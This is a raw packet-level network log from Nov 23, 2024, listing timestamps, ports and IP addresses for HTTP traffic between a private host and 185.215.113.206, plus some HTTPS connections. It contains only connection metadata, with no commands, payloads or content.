Nov 23, 2024 19:52:27.558521986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.558593988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.558609962 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.559005022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.559751987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.559830904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.559900045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.562213898 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.562300920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.562336922 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.562398911 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.564677954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.564739943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.580096006 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.580192089 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.580255985 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.580461025 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.580476999 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.580506086 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.580513954 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.583098888 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.583137035 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.583336115 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.583451033 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.583456993 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.610100031 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.610178947 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.610240936 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.610615969 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.610615969 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.610635042 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.610641003 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.611255884 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.611438990 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.611504078 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.611676931 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.611684084 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.611752033 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.611757994 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.613723040 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.613780975 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.613862038 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.613981962 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.614013910 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.614068031 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.614114046 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.614132881 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.614348888 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:27.614363909 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:27.632594109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.632608891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.632683992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.633501053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.633558035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.660412073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.660506964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.660557985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.660626888 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.661585093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.661672115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.662087917 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.662159920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.662184954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.662313938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.664556026 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.664639950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.664693117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.664783001 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.667021990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.667119026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.667121887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.667243958 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.669514894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.669589043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.669660091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.669660091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.672044992 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.672086954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.672106981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.672158003 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.676064968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.676078081 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.676130056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.676177979 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.677695990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.677807093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.677850962 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.678153992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.680200100 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.680212975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.680279970 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.682646990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.682734013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.682821035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.682881117 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.685082912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.685092926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.685158014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.685158014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.687561035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.687649012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.688535929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.688548088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.688612938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.691055059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.691066980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.691113949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.693481922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.693664074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.693681002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.693772078 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.696007013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.696019888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.696068048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.696113110 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.698656082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.698717117 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.757487059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.757570028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.757585049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.757692099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.758692980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.758855104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.785871029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.786077023 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.786139011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.786395073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.787045956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.787174940 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.787509918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.789729118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.789777040 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.789845943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.789875031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.791980982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.792089939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.792139053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.792139053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.794529915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.794591904 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.794672012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.795752048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.796930075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.796993971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.797046900 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.797106981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.799428940 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.799484015 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.799506903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.799552917 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.801911116 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.801974058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.802016020 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.802100897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.804397106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.804409981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.804459095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.806874037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.806958914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.806993008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.807082891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.809299946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.809411049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.809474945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.811781883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.811880112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.811937094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.811937094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.814192057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.814296007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.814380884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.816433907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.816533089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.816612959 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.818651915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.818708897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.818747997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.819960117 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.820856094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.823590994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.824193954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.824220896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.824400902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.875984907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.876051903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.876138926 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.882955074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.883081913 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.883111000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.883333921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.884088039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.884166956 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.910898924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.911113024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.911246061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.912014961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.912080050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.912252903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.914203882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.914311886 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.914396048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.915908098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.916377068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.916460991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.916491985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.916563988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.918621063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.918714046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.918746948 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.918833017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.920764923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.920828104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.920850039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.920895100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.922970057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.923022032 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.923058987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.923141003 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.925143957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.925211906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.925247908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.925308943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.927331924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.927398920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.927448034 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.927448988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.929491043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.929573059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.929611921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.929775000 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.931674004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.931746960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.931818008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.931896925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.933835030 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.933906078 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.934624910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.934684992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.934717894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.934768915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.936038017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.936110973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.936137915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.936278105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.938249111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.938354969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.938365936 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.938426971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.940429926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.940514088 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.940567970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.940792084 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.942573071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.942641020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.942693949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.942747116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.944771051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.944807053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:27.944842100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.944864035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:27.977936029 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:27.978018045 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:27.978485107 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:27.978497028 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:27.978792906 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:27.978801012 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.008126974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.008198023 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.008235931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.008295059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.009318113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.009329081 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.009371996 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.016277075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.016335964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.016376972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.016376972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.054426908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.054516077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.054629087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.054688931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.055396080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.055514097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.055830956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.055933952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.055962086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.056140900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.058228970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.058291912 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.058293104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.058392048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.060339928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.060425997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.060436964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.060523987 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.062422991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.062478065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.062494993 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.062541962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.064620972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.064682961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.064851999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.064901114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.066755056 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.066859007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.066885948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.066915035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.068862915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.068934917 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.068948984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.069057941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.070950031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.071042061 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.071069002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.071099043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.073067904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.073137999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.073178053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.073271990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.075134993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.075176954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.075190067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.075226068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.077223063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.077276945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.077321053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.077409983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.079179049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.079241037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.079252005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.079340935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.081098080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.081195116 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.081219912 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.081270933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.083055973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.083136082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.083162069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.083337069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.085005045 CET	80	49736	185.215.113.206	192.168.2.6
